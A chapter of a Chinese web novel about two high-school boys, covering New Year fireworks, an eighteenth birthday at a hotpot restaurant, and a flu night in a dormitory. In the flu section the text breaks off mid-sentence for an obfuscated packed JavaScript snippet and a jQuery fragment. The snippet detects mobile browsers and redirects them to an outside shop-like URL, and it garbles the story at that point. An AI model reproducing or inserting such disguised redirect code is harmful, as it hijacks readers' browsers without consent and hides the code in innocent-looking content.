21.第 21 章

作品:《最后一个世界登出中

    俞越并没有跟许青翰说太多有关于那个“朋友”的事,只是打着哈哈揭过了,许青翰也识趣地没问太多。


    时间一晃就到了过年。


    俞越去了乡下奶奶的老房子,从电话里可以知道他经常去邻居家蹭饭,日子过得倒是有滋有味。


    留在农村的基本都是些适应不了城市生活的老人,唯一的需求便是陪伴,俞越性格讨喜,几乎每家每户都欢迎他过去做客。


    团圆饭也是在奶奶生前关系最好的闺蜜家吃的。


    小老太太年纪大了,去年生病动了场手术,救回来了,但落了个半身瘫痪,俞越时常推她到院子里晒太阳,她偶尔会念起奶奶的名字。


    “淑啊…又过年了。”


    奶奶去世的时候,她哭得眼睛里都是红血丝,嗓子也哭哑了。


    刻骨铭心的友情大抵就是如此,一点儿也不逊于亲情、爱情。


    生时有多要好,死后便多痛苦。


    -


    许青翰是在正月初三来找他的。


    俞越给的见面地点是一个废弃的乡镇小学,出租车稳稳停在门口,俞越兴冲冲地帮他打开了车门。


    “怎么买了这么多?”俞越看着蛇皮袋内的烟花爆竹咋舌。


    “模型转卖了不少钱,就多买了些,玩个尽兴。”许青翰解释说。


    俞越点点头,没再说什么,带着许青翰走进了这所小学。


    他一边走,一边向许青翰介绍起了这里。


    “这是我小时候读书的小学,不过就在这里读了一年,因为奶奶当初收养我的时候手续有些麻烦,暂时上不了市里的小学,怕我学习跟不上,就先把我塞进了这里。”


    “这里已经荒废很久了,几年前一直说要拆掉建什么山庄,到现在也没开始拆。”


    “学校的操场很大、很空旷,我们可以去那里玩,不要离建筑太近,我怕有安全隐患。”


    学校的建筑上面爬满了各种植物,但都因为冬的到来褪成了枯败的颜色,被还未融化的白雪覆盖,往下滴滴答答着冰冷的水珠,有的落在地上,有的凝成了冰棱。


    没多久,空旷的废弃操场上亮起了噼里啪啦的火光。


    确实玩得尽兴,两人花了大半天的时间才将这些全都点完。


    有的炸得厉害,许青翰下意识捂住俞越的耳朵,怕他会被吓着。


    俞越笑出了一对酒窝,“我又不是小孩子,不怕这些。”


    中午两人吃的是俞越特地带过来的红薯,他还带了几块煤炭,点着烤一烤就能吃,香的很。


    事后清扫走了残余的垃圾,天也快黑了。


    其实天黑之后会更好玩,白天太亮,削弱了火光的绚烂,但俞越不方便留宿许青翰,也怕许青翰太晚回家不安全,最近路面有些结冰,夜间会很危险,前段时间溟市就出过较严重的连环追尾车祸,一人死亡,多人受伤。


    离开前,等车的时候,许青翰冷不丁问:“明年过年还一起放烟花吗?”


    俞越看着路的尽头,不答反问:“明年过年你还回溟市吗?”


    许青翰知道自己不应该再继续问下去了,给了个结束话题的答案:“到时候再说吧。”


    许青翰坐上出租车后,俞越定定注视了好久车子离开的方向。


    有一滴树上落下的雪水钻进他的颈窝,刺骨的冷意霎时蔓延开来。


    烟花熄了,热闹去了。


    这个年也要结束了。


    -


    2月17日这天俞越睡得很早,错过了0点的几条生日短信。


    许青翰:【小俞,生日快乐】


    孙旺:【生日快乐啊!!恭喜恭喜终于是个成年人了!!在这里叫你一声小俞哥】


    凌梅梅:【俞越十八岁生日快乐=w=!】


    醒来的时候,他看着这些短信有些怔愣,在心底后知后觉地啊了一声。


    今天原来是他的生日吗。


    他是记得2月17日这个时间的,但就像是死记硬背的公式,在脑子里存有痕迹,却无法灵活运用。


    以前奶奶还在的时候,每年生日都会给他煮一碗长寿面,而他和孙旺并没有庆生的习惯,去年的生日他就没过。


    但今年是十八岁,确实可以庆祝一下。


    就是有些可惜,孙旺和凌梅梅比他小一岁,赶不上他们的十八岁生日了。


    因为小时候的经历,他入学晚,比同级的同学要大一岁,许青翰也是因为初一母亲意外去世休学了一年才与他同岁的。


    俞越一一回复了短信,刚回完,许青翰的电话便拨了过来。


    俞越赶紧按下接听键。


    “出来过生日吗?学习交流小组等你。”


    俞越一个鲤鱼打挺。


    -


    许青翰不知道俞越家在哪儿,便打车到了之前放烟花的废弃小学门口,等了会儿俞越才匆匆忙忙赶到。


    “孙旺和凌梅梅先去那边等着了。”


    为了能顺利出来,凌梅梅又借口说学神组织了学习交流小组,准备高二下学期的开学考试。


    “那边是哪边?”


    “到了就知道了。”


    “喔……”


    搞得这么神秘。


    没想到竟然是在海底捞。


    戴着生日帽被围着唱歌的俞越有几分社死,抬手捂住了脸,从指缝里偷偷地看。


    身前是个较大的8寸蛋糕,上面插着18的蜡烛,许青翰举着手机正在录像,凌梅梅双手打着节拍,孙旺唱得最起劲,将隔壁许多桌的视线都吸引了过来,更有社牛加入了进来,三个挚友,一群陌生人为他庆祝着十八岁的生日,好不热闹。


    手指模糊着视线,将画面分割成了一块块幸福的光斑。


    这真的是他度过的最快乐的一个世界了。


    他闭上眼睛,许下了与那日写在漂流瓶中相同的愿望。


    再睁开眼,许多双含笑的视线聚焦在他身上。


    “呼。”


    他吹灭了蜡烛。


    -


    今天的蛋糕很大,被切成了许多块,还分给了邻桌的小朋友。


    几人一边吃蛋糕,一边进行最后的生日礼物环节。


    孙旺不知道送什么礼物,干脆直接给俞越塞了个红包,俞越自己喜欢什么买什么,刚好赶着过年,红包也挺喜庆,而且他感觉俞越最缺的其实也就是钱了。


    凌梅梅送了俞越两本小说,是他很喜欢的一个作者写的,最新出的珍藏本。


    许青翰则送了俞越一个挂件。


    俞越端详了挂件许久,觉得挺可爱的,就是有些看不出是什么,问:“这是个什么生物?像狗又像鱼的……”


    许青翰回答:“小狗鱼。”


    孙旺也凑了过来,笑着说:“挺适合小俞的。”


    俞越直接给了他一个肘击。


    凌梅梅问:“是什么IP吗?”


    潜意识里,世界上应该不存在这样的生物,很可能是网络上幻想类的IP设计。


    许青翰打开手机,给他们看上面有关于狗头鱼的科普,这种鱼是真实存在的,脑袋酷似小狗,很多人会养做宠物。


    “还真有这种鱼啊。”俞越笑着摸了摸手里毛绒绒的小狗鱼挂件,稀罕得不行。


    恰在这时,海底捞的员工端着一碗面走了过来,是赠送的生日专属长寿面。


    长长的一根,要一口气吃完,福寿才能绵延不断。


    俞越配合地一口气吸溜进了嘴巴里面,撑得腮帮子鼓鼓的,嚼了好久才吞咽下去。


    -


    生日过后就要开学了。


    因为高三开学早,学校提前开了校门,俞越沾着高三生的光回了宿舍。


    许青翰也受邀开始每天来学校自习,他的寒假作业都已经写完了,俞越还在抓紧时间补。


    许青翰发现俞越将小狗鱼挂件挂在了钥匙上面,去到哪儿都带着。


    闲来无事,许清翰偶尔看一眼埋头补作业的他,思绪不受控制地发散起来。


    日记本上,寒假前的进度是50%,寒假就快要过去,进度有增长多少吗?


    他感觉可能会增长得很快。


    因为十八岁生日和过年,他度过了非常愉悦的一个寒假。


    但一直到开学他都没再见到俞越的日记本,也没有任何偷窥的机会。


    开学照例有场考试,俞越和许青翰的排名依旧没变,孙旺和凌梅梅都进步了,没有让小俞老师失望。


    凌梅梅笑着说:“我妈夸了一顿咱们的学习小组,说希望这种学习活动多来点儿。”


    几人听了皆是忍俊不禁。


    可惜这学期学习小组再没有过团建。


    上半年没什么节日,学校没什么活动,孙旺这个体育生也参加集训去了。


    因为步入高二下学期,下半年就是高三生了,学习氛围愈发紧张起来。


    一中大多会在高二下学期就将几乎所有的课本内容全都上完,至多留下一点到高三上学期收尾,高三之后,就要开始系统性的全面复习了。


    学习任务变重许多。


    俞越偶尔会在周末和许青翰一起去海边逛逛,到了春天,海风都变得温柔起来。


    可惜一次也没见到过信天翁。


    可能真的要到海中央去吧。


    -


    不知是贪玩踩了海水,还是被传染,赶着春天的尾巴,俞越忽然病倒了。


    其实开学之后班上就陆续有学生因为春季流感病倒,俞越以为自己躲过了一截,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132141|195798||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没想到在春末夏初的时候还是遭了殃,嗓子哑得说不出完整的话。


    他到学校医务室开了点药,本想撑着在教室听听课,还能有许青翰照顾,没想到烧得太难受,实在是坚持不下去,跟陈劲请了假,回宿舍躺尸去了。


    印象中,是许青翰将他扶去宿舍的。


    再睁眼的时候,宿舍里面黑洞洞的,显然已经到了晚上,就是不知道几点了,俞越干咳几声,感觉睡得嗓子有些冒烟,想要下床去喝点水。


    不待他从床上坐起,便见一道身影从下面站了起来,黑暗中与他对上模糊的视线。


    “许……?”


    俞越还没说完这个名字,对方便将他打断了。


    “醒了?要不要喝水?”是戴着口罩的许青翰,没戴眼镜,口罩闷出的热气会呵在镜片上面模糊视线。


    俞越咳了咳,嗯一声,很快温热的水杯便被递了过来,他一口气喝完了。


    许青翰接过杯子,又给他倒了一些。


    嗓子得到了很好的滋润,俞越说话都顺畅了一些,问:“几点了?”


    “十一点。”


    俞越微微瞪圆眼睛。


    显然不可能是上午十一点,但晚上他们不到十点就晚自习下课了,许青翰怎么还在他的宿舍里面?


    察觉到他的疑惑,许青翰主动解释说:“你一个人住…有点不放心,今晚我不回去了。”


    其实会有点奇怪。


    这里就只有一张会吱呀乱叫的小床,两个人睡会很挤,还有可能会传染流感病毒,班上还有其他住宿的男生,虽然没和俞越住在一起,但就在隔壁,且和俞越关系不错,拜托他们照看一下不成问题。


    可许青翰还是亲自留下了。


    因为这段时间俞越病得太厉害,让他有些不知所措。


    这半年多的时间里,他偶尔也会抽空看一些穿越小说,知道小说里的套路:主角完成任务后会死遁离开这个世界。


    按照俞越日记本里的说法,他大概率也会是以这样的方式离开。


    他控制不住去想,这场春季流感会不会就是一个导火索,已经引燃了别离的烟花,等火舌吞吃完引线,绚烂的烟花炸开,噼里啪啦声彻底结束的时候,他就真的消失了。


    惶恐感将他彻底操控。


    他没能在最后一刻陪在母亲身边,也没能在最后一刻陪在元宝身边,他不想自己的人生再被遗憾吞没了。


    他想陪着俞越,直到他离开前的最后一刻。


    两人都心知肚明着什么,这份奇怪也就不觉得奇怪了。


    俞越哑着嗓子说:“好吧…你晚上睡那头吧,我怕传染给你。”


    许青翰点点头,给他喂了点药,又用热水打湿毛巾拧干,给他擦了擦脸,摘下口罩,爬上了床。


    他也怕被传染病倒,就没办法再照顾俞越了。


    俞越丢给他一个枕头,身体往另一侧靠去,这次许青翰将靠墙的位置让给了他。


    自从去年两人第一次午睡之后,许青翰再也没和俞越在一张床上睡过,主要还是觉得自己睡着后控制不住将对方当做人形抱枕不好。


    这次也管不了太多了。


    被窝很暖,俞越的身体很烫,床却没有想象中那么拥挤。


    因为这些天的病倒,俞越好似又瘦了些。


    “要是挤到了你、想喝水什么的,就叫醒我和我说。”


    黑暗中响起一声含笑的“好”。


    许青翰不记得自己是什么时候睡着的了,但记得身体被暖得舒服,入睡得很快,一觉睡到了第二天天亮。


    俞越一次也没有叫醒他。


    他昨晚就关掉了俞越的闹钟,也不知道现在几点了,反正俞越请了病假,睡到什么时候都没关系。


    而他——已是4月,上个月他按照程序报名了高考,最迟6月所有手续就能完全办完,原计划是在7月初暑假开始就直接飞去北方,这学期对他来说就是办理各种手续、收尾在这边的一切,漏上几节课无关痛痒,老师也不管


    醒来的时候,他发现俞越坐靠在另一头,昏昏沉沉的,察觉到他这边的动静完全睁开了眼,不知道保持这个动作多久了。


    许青翰很快清醒,终于注意到了自己身体的异样,嘴唇翕动了一下,最后什么也没说出口,转了个身,将脸侧向了另一边。


    很快,宿舍里便响起了一声轻笑。


    是俞越依旧发哑的声音:“害羞啦?”


    “……”


    “哎,生物老师不是说了吗,这是男生正常的生理现象。”


    “我有时候早上也会这样。”


    “别害羞。”


    许青翰露在视野里的那只耳朵更红了。


    ……他果然,硌到俞越了。